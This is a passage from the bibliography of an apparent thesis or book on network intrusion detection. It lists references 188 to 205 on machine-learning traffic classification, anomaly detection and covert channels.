Advanced Internet Architectures, CAIA, Technical Report B, 60410:2006,
2006.
[188] I. Witten, E. Frank, M. A Hall, and C. Pal. Data Mining: Practical ma-
chine learning tools and techniques. Morgan Kaufmann, 2016.
230 BIBLIOGRAPHY
[189] G. Xie, M. Iliofotou, R. Keralapura, M. Faloutsos, and A. Nucci. Subflow:
Towards practical flow-level traffic classification. In INFOCOM, 2012 Pro-
ceedings IEEE, pages 2541–2545. IEEE, 2012.
[190] X. Xu. Adaptive intrusion detection based on machine learning: feature
extraction, classifier construction and sequential pattern prediction. Inter-
national Journal of Web Services Practices, 2(1-2):49–58, 2006.
[191] A. Yamada, Y. Miyake, K. Takemori, A. Studer, and A. Perrig. Intrusion
detection for encrypted web accesses. In Advanced Information Networking
and Applications Workshops, 2007, AINAW ’07. 21st International Con-
ference on, volume 1, pages 569–576, 2007.
[192] J. Yang and S. Hsuan S. Huang. Mining tcp/ip packets to detect stepping-
stone intrusion. Computers & Security, 26(7-8):479–484, 2007. doi: DOI:
10.1016/j.cose.2007.07.001.
[193] D. Yeung and C. Chow. Parzen-window network intrusion detectors. In
International Conference on Pattern Recognition, volume 16, pages 385–
388, 2002.
[194] I. You and K. Yim. Malware obfuscation techniques: A brief survey. In
BWCCA, pages 297–300. Citeseer, 2010.
[195] E. Young. Porttunnel v2.0.29.421, 4 july 2011. Technical report, steel
bytes, 2011. URL http://www.steelbytes.com/?mid=18.
[196] S. Zander, T. Nguyen, and G. Armitage. Automated traffic classification
and application identification using machine learning. In Local Computer
Networks, 2005. 30th Anniversary. The IEEE Conference on, pages 250–
257. IEEE, 2005.
[197] S. Zander, G. Armitage, and P. Branch. A survey of covert channels and
countermeasures in computer network protocols. Communications Surveys
& Tutorials, IEEE, 9(3):44–57, 2007.
[198] S. Zanero and S. Savaresi. Unsupervised learning techniques for an in-
trusion detection system. In SAC ’04: Proceedings of the 2004 ACM
symposium on Applied computing, pages 412–419, New York, NY, USA,
BIBLIOGRAPHY 231
2004. ACM. ISBN 1-58113-812-1. doi: http://doi.acm.org/10.1145/
967900.967988.
[199] K. Zaraska. Prelude ids: current state and development perspectives.
Technical report, 2003. URL http://citeseerx.ist.psu.edu/viewdoc/
summary?doi=?doi=10.1.1.106.5542.
[200] J. Zhang, Y. Xiang, Y. Wang, W. Zhou, Y. Xiang, and Y. Guan. Network
traffic classification using correlation information. Parallel and Distributed
Systems, IEEE Transactions on, 24(1):104–117, 2013.
[201] L. Zhang and G. B. White. An approach to detect executable content
for anomaly based network intrusion detection. In Parallel and Distributed
Processing Symposium, 2007. IPDPS 2007. IEEE International, pages 1–8,
2007.
[202] J. Zhao, H.K. Huang, S.F. Tian, and X. Zhao. Applications of hmm
in protocol anomaly detection. In Proceedings of the 2009 International
Joint Conference on Computational Sciences and Optimization (cso 2009)-
Volume 02, pages 347–349. IEEE Computer Society, 2009.
[203] Z. Zheng. Constructing nominal x-of-n attributes. In In Proc. 13th In-
ternational Conference on Machine Learning, pages 1064–1070. Morgan
Kaufmann, 1995.
[204] A. Zhou, F. Cao, W. Qian, and C. Jin. Tracking clusters in evolving data
streams over sliding windows. Knowledge and Information Systems, 15(2):
181–214, 2008.
[205] Y. Zhu and D. Shasha. Statstream: Statistical monitoring of thousands of
data streams in real time. In Proceedings of the 28th international confer-
ence on Very Large Data Bases, pages 358–369. VLDB Endowment, 2002.
